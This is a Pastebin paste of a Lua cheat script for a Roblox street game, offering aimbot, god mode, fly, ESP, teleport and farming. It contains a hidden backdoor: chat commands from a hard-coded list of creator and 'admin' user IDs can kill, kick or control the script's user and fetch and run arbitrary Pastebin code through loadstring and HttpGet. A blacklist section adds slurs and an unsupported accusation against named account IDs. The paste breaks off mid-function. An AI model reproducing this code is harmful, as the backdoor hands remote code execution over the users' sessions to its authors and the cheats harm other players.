Advertisement
sinkicol

fryrj

Aug 17th, 2020
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 115.47 KB | None | 0 0
  1. --[[ Bugs
  2.  
  3. --]]
  4.  
  5. --[[Todo
  6. Add a scuffed bfg (in testing)
  7. Remote Gun (In Testing)
  8. ]]
  9.  
  10. -- [[ Variables ]] --
  11.  
  12. local Tick = tick()
  13.  
  14. -- Global Variables --
  15.  
  16. getgenv().Players = game:GetService'Players'
  17. getgenv().TeleportService = game:GetService'TeleportService'
  18. getgenv().ReplicatedStorage = game:GetService'ReplicatedStorage'
  19. getgenv().StarterGui = game:GetService'StarterGui'
  20. getgenv().TweenService = game:GetService'TweenService'
  21. getgenv().UserInput = game:GetService'UserInputService'
  22. getgenv().RunService = game:GetService'RunService'
  23. getgenv().Lighting = game:GetService'Lighting'
  24. getgenv().CoreGui = game:GetService'CoreGui'
  25. getgenv().HttpService = game:GetService'HttpService'
  26. getgenv().VirtualUser = game:GetService'VirtualUser'
  27. getgenv().LP = Players.LocalPlayer or Players.PlayerAdded:Wait()
  28. getgenv().Mouse = LP:GetMouse()
  29. getgenv().GetChar = function() return LP.Character or LP.CharacterAdded:Wait() end
  30. GetChar():WaitForChild'Humanoid'
  31.  
  32. -- Bools --
  33.  
  34. local AimbotAutoShoot = false
  35. local AntiAim = false
  36. local AntiKill = false
  37. local Aimlock = false
  38. local AliasesEnabled = true
  39. local AnnoyOn = false
  40. local AlwaysGh = false
  41. local AutoDie = false
  42. local AirwalkOn = false
  43. local AutoStomp = false
  44. local AutoTriggerBot = false
  45. local AutoFeloop = false
  46. local AutoTarget = false
  47. local AutoFarm = false
  48. local Blinking = false
  49. local BuyingStuff = false
  50. local CamLocking = false
  51. local CurrentlyShooting = false
  52. local BfgOn = false
  53. local DoubleJumpEnabled = false
  54. local DamageIndicatorDebounce = false
  55. local ExploiterDetectionOn = false
  56. local FeLoop = false
  57. local Flying = false
  58. local FlyDebounce = false
  59. local Freecam = false
  60. local GodMode = false
  61. local GunStomp = true
  62. local GravGunSeizureMode = false
  63. local HealBot = false
  64. local ItemEsp = false
  65. local NeverSitting = false
  66. local Normalwalk = false
  67. local NoGh = false
  68. local Noclip = false
  69. local Spamming = false
  70. local TpBypass = false
  71. local TriggerBot = false
  72. local TriggerBotAutoReload = false
  73. local UseDrawingLib = pcall(assert,Drawing,'Hi')
  74. local WalkShoot = true
  75.  
  76. -- Strings --
  77.  
  78. local AimMode = "Prediction"
  79. local AimlockMode = "LeftClick"
  80. local CamlockTarget = "Head"
  81. local SpamMessage = "Cyrus' Admin Or No Admin"
  82. local ConfigurationFile = "CyrusStreetsAdminSettings.json"
  83. local GunAnim = "None"
  84.  
  85. -- Ints --
  86.  
  87. local Rainbowdelay = 0
  88. local BlinkSpeed = 0
  89. local NormalHH = 0
  90. local SpamDelay = 1
  91. local AimbotVelocity = 5
  92. local NewPredictionVelocity = 5
  93. local GravGunDistance = 5
  94. local CrouchSpeed = 8
  95. local FlySpeed = 10
  96. local WalkSpeed = 16
  97. local NormalWs = 16
  98. local SprintSpeed = 25
  99. local HealBotHealth = 25
  100. local NormalJP = 37.5
  101. local AutoStompRange = 50
  102. local NormalGravity = workspace.Gravity
  103. local BulletColour = ColorSequence.new(Color3.fromRGB(144,0,0)) -- technically not an int but we'll go with it
  104. local EspColour = Color3.fromRGB(255,255,255)
  105.  
  106. -- Initially Nil --
  107.  
  108. local AimlockTarget;
  109. local AimlockTargetPosition;
  110. local AnnoyingPlayer;
  111. local CanSetHotkey;
  112. local CamlockPlayer;
  113. local ClickTpKey;
  114. local ClockTime;
  115. local GravGunBodyPosition;
  116. local GravGunBodyVelocity;
  117. local GravGunTool;
  118. local LoopPlayer;
  119. local PlayOnDeath;
  120. local PlayersPing;
  121. local RemoteGunPlayer;
  122. local RemoteGunBodyPos;
  123. local SpawnWs;
  124. local SpawnJP;
  125. local SpawnHH;
  126. local ViewPlayerConnection;
  127.  
  128.  
  129. -- Instances --
  130.  
  131. local AntiAimAnimation = Instance.new'Animation'
  132. AntiAimAnimation.AnimationId = "rbxassetid://215384594"
  133.  
  134. local Dance1Animation = Instance.new'Animation'
  135. Dance1Animation.AnimationId = "rbxassetid://33796059"
  136.  
  137. local Dance2Animation = Instance.new'Animation'
  138. Dance2Animation.AnimationId = "rbxassetid://35654637"
  139.  
  140. local SpinAnimation = Instance.new'Animation'
  141. SpinAnimation.AnimationId = "rbxassetid://188632011"
  142.  
  143. local GunAnimation1 = Instance.new'Animation'
  144. GunAnimation1.AnimationId = "rbxassetid://889968874"
  145.  
  146. local GunAnimation2 = Instance.new'Animation'
  147. GunAnimation2.AnimationId = "rbxassetid://229339207"
  148.  
  149. local AirWalk = Instance.new'Part'
  150. AirWalk.Anchored = true
  151. AirWalk.Size = Vector3.new(20,1,20)
  152. AirWalk.Transparency = 1
  153.  
  154. local CmdsFrame = Instance.new('Frame',CoreGui.RobloxGui)
  155. local CmdsLabel = Instance.new('TextLabel',CmdsFrame)
  156. local CmdsScrolling = Instance.new('ScrollingFrame',CmdsFrame)
  157.  
  158. local CmdBarFrame = Instance.new('Frame',CoreGui.RobloxGui)
  159. local CmdBarTextBox = Instance.new('TextBox',CmdBarFrame)
  160. local CmdBarImageLabel = Instance.new('ImageLabel',CmdBarFrame)
  161.  
  162. local DmgIndicator = Instance.new('TextLabel',LP.PlayerGui.Chat.Frame)
  163.  
  164. local RainbowFrame = Instance.new('Frame',CoreGui.RobloxGui)
  165. local RainbowLabel = Instance.new('TextLabel',RainbowFrame)
  166. local RainbowScrolling = Instance.new('ScrollingFrame',RainbowFrame)
  167.  
  168. local ValuesFrame = Instance.new('Frame',CoreGui.RobloxGui)
  169. local ValuesTextLabel = Instance.new('TextLabel',ValuesFrame)
  170.  
  171. local HotkeysFrame = Instance.new('Frame',CoreGui.RobloxGui)
  172. local HotkeysTextLabel = Instance.new('TextLabel',HotkeysFrame)
  173.  
  174. local KeysFrame = Instance.new('Frame',CoreGui.RobloxGui)
  175. local AnyCmdButton = Instance.new('TextButton',KeysFrame)
  176. local KeysLabel = Instance.new('TextLabel',KeysFrame)
  177. local CmdBarKeyLabel = Instance.new('TextLabel',KeysFrame)
  178. local CmdBarKeyButton = Instance.new('TextButton',KeysFrame)
  179. local AnyCmdTextBox = Instance.new('TextBox',KeysFrame)
  180.  
  181. local VanPart = Instance.new('Part',workspace)
  182.  
  183. -- Tables --
  184.  
  185. local AdminUserTable = {}
  186. local Commands = {}
  187. local DetectedExploiters = {}
  188. local ExploitDetectionPlayerTablePositions = {}
  189. local EspTable = {}
  190. local EspTable2 = {}
  191. local Keys = {}
  192. local PartTable = {}
  193. local StompWhitelist = {}
  194. local ToolTable = {}
  195. local WireFrameTable = {}
  196.  
  197. local BackDoorTableCommands = {
  198. ['chat'] = {
  199. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(Content,"All") end end;
  200. ['Levels'] = {[1] = true;[2] = true;[3] = true;[4] = true;}
  201. };
  202. ['bring'] = {
  203. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then CheckCommand("to "..CommandedPlayer.Name) end end;
  204. ['Levels'] = {[1] = true;[2] = true;[3] = true;[4] = true;}
  205. };
  206. ['kill'] = {
  207. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then GetChar():BreakJoints() end end;
  208. ['Levels'] = {[2] = true;[3] = true;[4] = true;}
  209. };
  210. ['exec'] = {
  211. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then CheckCommand(Content) end end;
  212. ['Levels'] = {[3] = true;[4] = true;}
  213. };
  214. ['kick'] = {
  215. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then LP:Kick(Content) end end;
  216. ['Levels'] = {[3] = true;[4] = true;}
  217. };
  218. ['ban'] = {
  219. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then ReplicatedStorage.lIIl:FireServer'hipheight' end end;
  220. ['Levels'] = {[4] = true;}
  221. };
  222. ['p'] = {
  223. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then loadstring(game:HttpGet("https://www.pastebin.com/raw/"..Content))() end end;
  224. ['Levels'] = {[3] = true;[4] = true;}
  225. }
  226. }
  227.  
  228. local BackDoorTablePlayers = {
  229. [12978668] = {
  230. ['Name'] = "!fishgang Cy (Creator and ONLY dev)";
  231. ['Access'] = 4;
  232. ['Colour'] = Color3.fromRGB(178,242,255);
  233. };
  234. [1388703832] = {
  235. ['Name'] = "!fishgang Cy (Creator and ONLY dev)";
  236. ['Access'] = 4;
  237. ['Colour'] = Color3.fromRGB(178,242,255);
  238. };
  239. [1066524308] = {
  240. ['Name'] = "Kylee [My Gf so kill her = you die] (She does not know anything about the script so stop asking)";
  241. ['Access'] = 4;
  242. ['Colour'] = Color3.fromRGB(178,242,255);
  243. };
  244. [114164798] = {
  245. ['Name'] = "!fishgang Slays (Developer when not lazy)";
  246. ['Access'] = 4;
  247. ['Colour'] = Color3.fromRGB(63,0,0);
  248. };
  249. [117074493] = {
  250. ['Name'] = "!fishgang Slays Alt (Not my account) (Developer when not lazy)";
  251. ['Access'] = 4;
  252. ['Colour'] = Color3.fromRGB(89,89,89);
  253. };
  254. [612618136] = {
  255. ['Name'] = "Nigerian prince (Bird)";
  256. ['Access'] = 4;
  257. ['Colour'] = Color3.fromRGB(101,44,171);
  258. };
  259. [70550151] = {
  260. ['Name'] = "Nigerian prince (Bird)";
  261. ['Access'] = 4;
  262. ['Colour'] = Color3.fromRGB(101,44,171);
  263. };
  264. [62009114] = {
  265. ['Name'] = "!fishgang X_D6 (Co-Owner but not a dev)";
  266. ['Access'] = 4;
  267. ['Colour'] = Color3.fromRGB(176,16,16);
  268. };
  269. [57370993] = {
  270. ['Name'] = "!fishgang Karma (Head-Admin)";
  271. ['Access'] = 3;
  272. ['Colour'] = Color3.fromRGB(197,0,237);
  273. };
  274. [105183043] = {
  275. ['Name'] = "Drpoppa creator";
  276. ['Access'] = 3;
  277. ['Colour'] = Color3.fromRGB(107,50,124);
  278. };
  279. [383632734] = {
  280. ['Name'] = "Dot_mp4/Jack [Head-Admin]";
  281. ['Access'] = 3;
  282. ['Colour'] = Color3.fromRGB(127,0,212);
  283. };
  284. [96316322] = {
  285. ['Name'] = "!fishgang Ambiguity [Admin]";
  286. ['Access'] = 3;
  287. ['Colour'] = Color3.fromRGB(57,52,52);
  288. };
  289. [714877] = {
  290. ['Name'] = "!fishgang Ambiguity [Admin]";
  291. ['Access'] = 3;
  292. ['Colour'] = Color3.fromRGB(57,52,52);
  293. };
  294. [284761493] = {
  295. ['Name'] = "Zero";
  296. ['Access'] = 3;
  297. ['Colour'] = Color3.fromRGB(255,145,175)
  298. };
  299. [6289688] = {
  300. ['Name'] = "1337 hax0r";
  301. ['Access'] = 3;
  302. ['Colour'] = Color3.fromRGB(144,0,0);
  303. };
  304. [1528488185] = {
  305. ['Name'] = "Basically a Gmod Dark RP admin (Paid)";
  306. ['Access'] = 2;
  307. ['Colour'] = Color3.fromRGB(235,31,31);
  308. };
  309. [710288902] = {
  310. ['Name'] = "Randomly paid me 5 dollars";
  311. ['Access'] = 1;
  312. ['Colour'] = Color3.fromRGB(255,0,255);
  313. };
  314. [1773860961] = {
  315. ['Name'] = "Est (Gave me 9b kills on customs";
  316. ['Access'] = 3;
  317. ['Colour'] = Color3.fromRGB(0,0,0);
  318. };
  319. [1306785382] = {
  320. ['Name'] = "1337 hax0r [2]";
  321. ['Access'] = 3;
  322. ['Colour'] = Color3.fromRGB(144,0,0);
  323. }
  324. }
  325.  
  326. local BlacklistTable = {
  327. [878779033] = true; -- retard who hit me
  328. [1052869632] = true; -- Generally annoying and fan boys tagged users and claims he can script when he can't (skid).
  329. [481265818] = true; -- said he would dox me but wouldn't
  330. [362925188] = true; --[[
  331. retard moment https://cdn.discordapp.com/attachments/726179909906464870/734190528828145665/image0.png
  332. I add him: https://cdn.discordapp.com/attachments/726179909906464870/734191062435758201/image0.png
  333. gets mad he got exposed: https://cdn.discordapp.com/attachments/726179909906464870/734191218400952381/image0.png
  334. ]]
  335. [338649839] = true; -- literally a pedophile and a skid
  336. [54133607] = true; -- Claims to hate me yet uses my script lol?
  337. [347481927] = true; -- XXXtentacion
  338. }
  339.  
  340. local SettingsTable = {
  341. Keys = {};
  342. ClickTpKey = "";
  343. SprintSpeed = 25;
  344. CrouchSpeed = 8;
  345. AimMode = "Prediction";
  346. AimlockMode = "LeftClick";
  347. AimbotVelocity = 5;
  348. CmdBarImage = "http://www.roblox.com/asset/?id=2812081613";
  349. CmdBarKey = "Quote"
  350. }
  351.  
  352. if game.PlaceId == 455366377 then
  353. PartTable = {
  354. ['burger'] = workspace:WaitForChild'Burger | $15';
  355. ['drink'] = workspace:WaitForChild'Drink | $15';
  356. ['ammo'] = workspace:WaitForChild'Buy Ammo | $25';
  357. ['pipe'] = workspace:WaitForChild'Pipe | $100';
  358. ['machete'] = workspace:WaitForChild'Machete | $70';
  359. ['sawedoff'] = workspace:WaitForChild'Sawed Off | $150';
  360. ['spray'] = workspace:WaitForChild'Spray | $20';
  361. ['uzi'] = workspace:WaitForChild'Uzi | $150';
  362. ['glock'] = workspace:WaitForChild'Glock | $200';
  363. }
  364. end
  365.  
  366. local PlaceTable = {
  367. ['sandbox'] = CFrame.new(-178.60614013672,3.2000000476837,-117.21733093262);
  368. ['prison'] = CFrame.new(-978.74725341797,3.199854850769,-78.541763305664);
  369. ['gas'] = CFrame.new(99.135276794434,18.599975585938,-73.462348937988);
  370. ['court'] = CFrame.new( -191.56864929199,3,223.43171691895);
  371. ['beach'] = CFrame.new(-663.97521972656,1.8657279014587,-369.04748535156);
  372. ['bank'] = CFrame.new(-270.44195556641,4.8757019042969,133.12774658203);
  373. }
  374.  
  375. local FarmTable = {
  376. ['cash'] = "511726060";
  377. ['shotty'] = "142383762";
  378. ['sawed off'] = "219397110";
  379. ['uzi'] = "328964620";
  380. }
  381.  
  382. local EstimatedGunRanges = {
  383. ['Glock'] = 100;
  384. ['Uzi'] = 100;
  385. ['Sawed Off'] = 50;
  386. ['Shotty'] = 50;
  387. }
  388.  
  389. local KeyTable = {
  390. ['W'] = false;
  391. ['A'] = false;
  392. ['S'] = false;
  393. ['D'] = false;
  394. ['Shift'] = false;
  395. ['Space'] = false;
  396. ['Control'] = false;
  397. }
  398.  
  399. local WhiteListedParts = {
  400. ['head'] = "Head";
  401. ['torso'] = "Torso";
  402. ['humanoidrootpart'] = "HumanoidRootPart";
  403. ['oldprediction'] = "OldPrediction";
  404. ['prediction'] = "Prediction";
  405. }
  406.  
  407. -- [[ End ]] --
  408.  
  409. -- [[ Random Initalization ]] --
  410.  
  411. coroutine.resume(coroutine.create(function()
  412. workspace.FallenPartsDestroyHeight = -50000
  413. LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Visible = true
  414. LP.PlayerGui.Chat.Frame.ChatBarParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y)
  415. if workspace:FindFirstChild'Armoured Truck' then
  416. VanPart.Color,VanPart.CFrame,VanPart.Size,VanPart.Material,VanPart.Anchored = Color3.fromRGB(196,40,28),CFrame.new(-136.858002,0,-523.700012),Vector3.new(9.93,1,20.31),"ForceField",true
  417. workspace:FindFirstChild'Armoured Truck':Destroy()
  418. elseif workspace:FindFirstChild'TPer' then
  419. VanPart.Color,VanPart.CFrame,VanPart.Size,VanPart.Material,VanPart.Anchored = Color3.fromRGB(196,40,28),CFrame.new(-31,-0.2,221),Vector3.new(12,1,6),"ForceField",true
  420. workspace:FindFirstChild'TPer':Destroy()
  421. else
  422. VanPart:Destroy()
  423. end
  424. Players:Chat("I am a CyAdmin User") -- new admin
  425. Players:Chat("Hey I'm a cyrus' streets admin user1") -- legacy admin
  426. end))
  427.  
  428. -- [[ End ]] --
  429.  
  430. -- [[ Hotkeys ]] --
  431.  
  432.  
  433. getgenv().initalizeHotkeys = function(ConfigToSaveTo)
  434. writefile(ConfigToSaveTo,HttpService:JSONEncode(SettingsTable))
  435. local Settings = HttpService:JSONDecode(readfile(ConfigToSaveTo))
  436. Keys = Settings.Keys
  437. ClickTpKey = Settings.ClicktpKey
  438. SprintSpeed = Settings.SprintSpeed
  439. AimMode = Settings.AimMode
  440. AimlockMode = Settings.AimlockMode
  441. AimbotVelocity = Settings.AimbotVelocity
  442. CmdBarImage = Settings.CmdBarImage
  443. CmdBarKey = Settings.CmdBarKey
  444. end
  445.  
  446. getgenv().updateHotkeys = function(ConfigToUpdateTo)
  447. if not readfile or not writefile then return end
  448. local SettingsToUpdate = {
  449. Keys = Keys;
  450. ClickTpKey = ClickTpKey;
  451. SprintSpeed = SprintSpeed;
  452. CrouchSpeed = CrouchSpeed;
  453. AimMode = AimMode;
  454. AimlockMode = AimlockMode;
  455. AimbotVelocity = AimbotVelocity;
  456. CmdBarImage = CmdBarImage;
  457. CmdBarKey = CmdBarKey;
  458. }
  459. writefile(ConfigToUpdateTo,HttpService:JSONEncode(SettingsToUpdate))
  460. end
  461.  
  462. getgenv().runHotkeys = function(ConfigToRun)
  463. local RunSettings = HttpService:JSONDecode(readfile(ConfigToRun))
  464. Keys = RunSettings.Keys
  465. ClickTpKey = RunSettings.ClickTpKey or ""
  466. SprintSpeed = RunSettings.SprintSpeed or 25
  467. CrouchSpeed = RunSettings.CrouchSpeed or 16
  468. AimMode = RunSettings.AimMode or "Prediction";
  469. AimlockMode = RunSettings.AimlockMode or "LeftClick"
  470. AimbotVelocity = RunSettings.AimbotVelocity or 5
  471. CmdBarImage = RunSettings.CmdBarImage or "http://www.roblox.com/asset/?id=2812081613"
  472. CmdBarKey = RunSettings.CmdBarKey or "Quote"
  473. end
  474. if readfile and writefile then
  475. local FileExists = pcall(readfile,ConfigurationFile)
  476. if not FileExists then
  477. initalizeHotkeys(ConfigurationFile)
  478. else
  479. runHotkeys(ConfigurationFile)
  480. end
  481. end
  482.  
  483. -- [[ End ]] --
  484.  
  485. -- [[ Global Functions ]] --
  486.  
  487. getgenv().notif = function(Title,Message,Length,Icon)
  488. StarterGui:SetCore("SendNotification",{
  489. ['Title'] = Title;
  490. ['Text'] = Message;
  491. ['Duration'] = Length;
  492. ['Icon'] = Icon;
  493. })
  494. end
  495.  
  496. getgenv().Teleport = function(Part)
  497. if typeof(Part) == "Instance" then Part = Part.CFrame end
  498. if typeof(Part) == "Vector3" then Part = CFrame.new(Part) end
  499. if typeof(Part) == "CFrame" then
  500. local Character = GetChar()
  501. local PartFound = Character:FindFirstChild'RealHumanoidRootPart' or Character:FindFirstChild'Torso'
  502. if PartFound and not Character:FindFirstChild'RealHumanoidRootPart' or (Part.p - PartFound.CFrame.p).magnitude < 50 then
  503. PartFound.CFrame = Part
  504. else
  505. TweenService:Create(PartFound,TweenInfo.new(3.2,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{CFrame = Part}):Play()
  506. end
  507. end
  508. end
  509.  
  510. getgenv().AddCommand = function(CommandFunction,CommandName,CommandAliases,HelpInfo,Args)
  511. Commands[#Commands + 1] = {['Function'] = CommandFunction,['Name'] = CommandName,['Alias'] = CommandAliases,['Help'] = HelpInfo,['Args'] = Args}
  512. end
  513.  
  514. getgenv().FindCommand = function(CommandName)
  515. for i = 1,#Commands do
  516. if Commands[i].Name == CommandName or AliasesEnabled and table.find(Commands[i].Alias,CommandName) then
  517. return Commands[i].Function
  518. end
  519. end
  520. end
  521.  
  522. getgenv().CheckCommand = function(Chat)
  523. local Arguments = string.split(Chat:lower()," ")
  524. local CommandName = table.remove(Arguments,1)
  525. local CommandFound = FindCommand(CommandName)
  526. if CommandFound then
  527. local CommandWorked,Error = pcall(CommandFound,Arguments)
  528. if not CommandWorked then
  529. notif("Command errored: "..CommandName,"Send this to Cy: "..Error,10,nil)
  530. end
  531. end
  532. end
  533.  
  534. getgenv().PlrFinder = function(PlayerString)
  535. local PlayerString = PlayerString:lower()
  536. local PlayerTable = Players:GetPlayers()
  537. if #PlayerString == 2 and PlayerString == "me" then return LP end
  538. if #PlayerString == 3 and PlayerString == "all" or #PlayerString == 5 and PlayerString == "users" then return PlayerTable end
  539. for i = 1,#PlayerTable do
  540. if PlayerTable[i].Name:lower():sub(1,#PlayerString) == PlayerString then
  541. return PlayerTable[i]
  542. end
  543. end
  544. end
  545.  
  546. getgenv().find = function(ItemString)
  547. local ChildrenOfWorkspace = workspace:GetChildren()
  548. for i = 1,#ChildrenOfWorkspace do
  549. local Item = ChildrenOfWorkspace[i]
  550. local ItemModel = Item:FindFirstChild'Model'
  551. if Item.Name == "RandomSpawner" and ItemModel then
  552. local Handle = ItemModel.Handle
  553. if Handle:FindFirstChildOfClass'MeshPart' then
  554. if FarmTable[ItemString] and string.find(Handle:FindFirstChildOfClass'MeshPart'.MeshId,FarmTable[ItemString]) then
  555. return Item,"Cash" -- Cash
  556. end
  557. end
  558. if Handle:FindFirstChild'Fire' then
  559. if FarmTable[ItemString] and string.find(Handle.Fire.SoundId,FarmTable[ItemString]) then
  560. return Item,"Gun" -- Guns
  561. end
  562. end
  563. end
  564. end
  565. return "None"
  566. end
  567.  
  568. getgenv().farm = function(ItemString)
  569. if ItemString == "all" then
  570. local WChildren = workspace:GetChildren()
  571. for i = 1,#WChildren do
  572. local Child = WChildren[i]
  573. if Child.Name == "RandomSpawner" then
  574. Teleport(Child.CFrame)
  575. Child.DescendantRemoving:Wait()
  576. end
  577. end
  578. end
  579. local Item = find(ItemString)
  580. if Item == "None" then notif("There is none of "..ItemString,"to farm",5,nil) return end
  581. Teleport(Item.CFrame)
  582. end
  583.  
  584. -- [[ End ]] --
  585.  
  586. -- [[ Local functions ]] --
  587.  
  588. local function BackdoorCheck(Player,Chat)
  589. if Chat:sub(1,1) == "`" then
  590. local Arguments = string.split(Chat:sub(2)," ")
  591. local Command = BackDoorTableCommands[table.remove(Arguments,1)]
  592. local PlayerToMeme = PlrFinder(table.remove(Arguments,1))
  593. if Command and PlayerToMeme then
  594. Command['Func'](PlayerToMeme,table.concat(Arguments," "),Player)
  595. end
  596. end
  597. end
  598.  
  599. local function convertKeyCode(KeyCode)
  600. local KeyCodeToSet;
  601. local Work,Error = pcall(function()
  602. KeyCodeToSet = Enum.KeyCode[KeyCode]
  603. end)
  604. if not Work then
  605. KeyCodeToSet = Enum.KeyCode[KeyCode:upper()]
  606. end
  607. return KeyCodeToSet
  608. end
  609.  
  610. local function ColourifyGuns(GunTable,Colour)
  611. for ToolIndex,Tool in pairs(GunTable:GetChildren()) do
  612. if Tool:IsA'Tool' and Tool:FindFirstChild'Fire' then
  613. for _,Part in pairs(Tool:GetDescendants()) do
  614. if Part:IsA'UnionOperation' or Part:IsA'Part' or Part:IsA'MeshPart' then
  615. if Part:IsA'UnionOperation' then
  616. Part.UsePartColor = true
  617. end
  618. Part.Material = "ForceField"
  619. Part.Color = Colour
  620. end
  621. end
  622. end
  623. end
  624. end
  625.  
  626. local function initalizeBackdoorPart2(BackdoorPlayer,Colour)
  627. if BackdoorPlayer and BackdoorPlayer.Character then
  628. ColourifyGuns(BackdoorPlayer.Backpack,Colour)
  629. ColourifyGuns(BackdoorPlayer.Character,Colour)
  630. BackdoorPlayer.Character.ChildAdded:Connect(function()
  631. ColourifyGuns(BackdoorPlayer.Character,Colour)
  632. end)
  633. end
  634. end
  635.  
  636.  
  637. local function createBodyPos(Parent)
  638. local BodyPosition = Instance.new('BodyPosition',Parent)
  639. BodyPosition.P = BodyPosition.P * 8
  640. BodyPosition.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
  641. if GravGunSeizureMode then
  642. GravGunBodyVelocity = Instance.new('BodyAngularVelocity',Parent)
  643. GravGunBodyVelocity.AngularVelocity = Vector3.new(0,9e9,0)
  644. GravGunBodyVelocity.MaxTorque = Vector3.new(0,9e9,0)
  645. end
  646. return BodyPosition
  647. end
  648.  
  649. local function Fly()
  650. local Character = GetChar()
  651. local Torso = Character:FindFirstChild'Torso'
  652. if not Torso then return end
  653. local BodyGyro,BodyVelocity = Instance.new('BodyGyro',Torso),Instance.new('BodyVelocity',Torso)
  654. BodyGyro.P = 9e9
  655. BodyGyro.MaxTorque = Vector3.new(9e9,9e9,9e9)
  656. BodyGyro.CFrame = Torso.CFrame
  657. BodyVelocity.MaxForce = Vector3.new(9e9,9e9,9e9)
  658. BodyVelocity.Velocity = Vector3.new(0,0.1,0)
  659. BodyVelocity.Name = "CyAdminFly"
  660. local Table1 = {['W'] = 0;['A'] = 0;['S'] = 0;['D'] = 0;}
  661. if not AirwalkOn then
  662. CheckCommand("airwalk")
  663. end
  664. while Flying and Character:FindFirstChild'Humanoid' and Character.Humanoid.Health > 0 and wait() do
  665. if KeyTable['W'] then Table1['W'] = FlySpeed else Table1['W'] = 0 end
  666. if KeyTable['A'] then Table1['A'] = -FlySpeed else Table1['A'] = 0 end
  667. if KeyTable['S'] then Table1['S'] = -FlySpeed else Table1['S'] = 0 end
  668. if KeyTable['D'] then Table1['D'] = FlySpeed else Table1['D'] = 0 end
  669. if (Table1['W'] + Table1['S']) ~= 0 or (Table1['A'] + Table1['D']) ~= 0 then
  670. BodyVelocity.Velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (Table1['W'] + Table1['S'])) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(Table1['A'] + Table1['D'], (Table1['W'] + Table1['S']) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * 50
  671. else
  672. BodyVelocity.Velocity = Vector3.new(0,0.1,0)
  673. end
  674. BodyGyro.CFrame = workspace.CurrentCamera.CoordinateFrame
  675. end
  676. if AirwalkOn then
  677. CheckCommand("airwalk")
  678. end
  679. BodyGyro:Destroy()
  680. BodyVelocity:Destroy()
  681. end
  682.  
  683. local function AimlockClosest(Player)
  684. local Box = Instance.new('BoxHandleAdornment',CoreGui.RobloxGui)
  685. Box.Adornee = Player.Character.Head
  686. Box.Size = Vector3.new(7,10,7)
  687. Box.SizeRelativeOffset = Vector3.new(0,-1,0)
  688. Box.Transparency = 1
  689. local Event1,Event2
  690. Event1 = Box.MouseButton1Down:Connect(function()
  691. if Aimlock and AimlockMode == "Closest" then
  692. AimlockTarget = Player.Character
  693. local Connection;Connection = Players:GetPlayerFromCharacter(AimlockTarget).CharacterAdded:Connect(function(C)
  694. if tostring(C) == tostring(AimlockTarget) then
  695. AimlockTarget = C
  696. else
  697. Connection:Disconnect()
  698. Connection = nil
  699. end
  700. end)
  701. else
  702. Box:Destroy()
  703. end
  704. end)
  705. Event2 = Player.CharacterRemoving:Connect(function()
  706. Box:Destroy()
  707. Event1:Disconnect()
  708. Event1 = nil
  709. Event2:Disconnect()
  710. Event2 = nil
  711. end)
  712. end
  713.  
  714. local function checkHp(Plr)
  715. return Plr:FindFirstChildOfClass'Humanoid' and math.floor(Plr.Humanoid.Health) or "No Humanoid"
  716. end
  717.  
  718. local function HasItem(Player,Item)
  719. if Player then
  720. local ItemFound = Player.Character:FindFirstChild(Item,true) or Player.Backpack:FindFirstChild(Item,true)
  721. return ItemFound and "Yes" or "No"
  722. end
  723. end
  724.  
  725. local function Unesp(Part)
  726. local Bill = Part:FindFirstChildOfClass'BillboardGui'
  727. if Part:IsA'BasePart' and Bill then
  728. Part = Part.Parent
  729. Bill:Destroy()
  730. return
  731. end
  732. for i = 1,#EspTable do
  733. local Table = EspTable[i]
  734. if Table then
  735. local Player = Table['Player']
  736. if Player == Part then
  737. for i,v in pairs(Table) do
  738. if v ~= Player then
  739. if i ~= "Box" then
  740. v:Remove()
  741. else
  742. table.foreach(v,function(Index,Value) Value:Remove() end)
  743. end
  744. end
  745. end
  746. table.remove(EspTable,i)
  747. end
  748. end
  749. end
  750. end
  751.  
  752. local function Esp(Part,Name,Colour,Blacklisted)
  753. local Player = PlrFinder(Part.Parent.Name)
  754. if Player and UseDrawingLib and not Colour then
  755. Unesp(Player)
  756. EspTable[#EspTable+1] = {['Player'] = Player,['Text'] = Drawing.new'Text',['Box'] = {Drawing.new'Line',Drawing.new'Line',Drawing.new'Line'}}
  757. else
  758. local Bill = Part:FindFirstChildOfClass'BillboardGui'
  759. if Bill then Bill:Destroy() end
  760. local BillBoard = Instance.new('BillboardGui',Part)
  761. local TextLabel = Instance.new('TextLabel',BillBoard)
  762. BillBoard.Adornee = Part
  763. BillBoard.Size = UDim2.new(0,100,0,100)
  764. BillBoard.StudsOffset = Vector3.new(0,1.3,0)
  765. BillBoard.AlwaysOnTop = not Blacklisted and true or false
  766. TextLabel.BackgroundTransparency = 1
  767. TextLabel.Size = UDim2.new(1,0,0,40)
  768. TextLabel.TextColor3 = Colour or EspColour
  769. TextLabel.TextStrokeTransparency = 0.5
  770. TextLabel.TextSize = 8
  771. local Player = PlrFinder(Name)
  772. if Player then
  773. if not Blacklisted then
  774. local User = AdminUserTable[Player] and "Yes" or "No"
  775. TextLabel.Text = Name.." | CyAdmin User: "..User.."\nHas (Gamepasses) Glock: "..HasItem(Player,"Glock").." | Shotty: "..HasItem(Player,"Shotty").." | Vest: "..HasItem(Player,"BulletResist")
  776. else
  777. TextLabel.Text = "[Blacklisted skid] "..Player.Name.." (can be for just being in lynx)"
  778. end
  779. else
  780. TextLabel.Text = Name
  781. end
  782. end
  783. end
  784.  
  785. local function Xray(Mode)
  786. for i,v in pairs(workspace:GetDescendants()) do
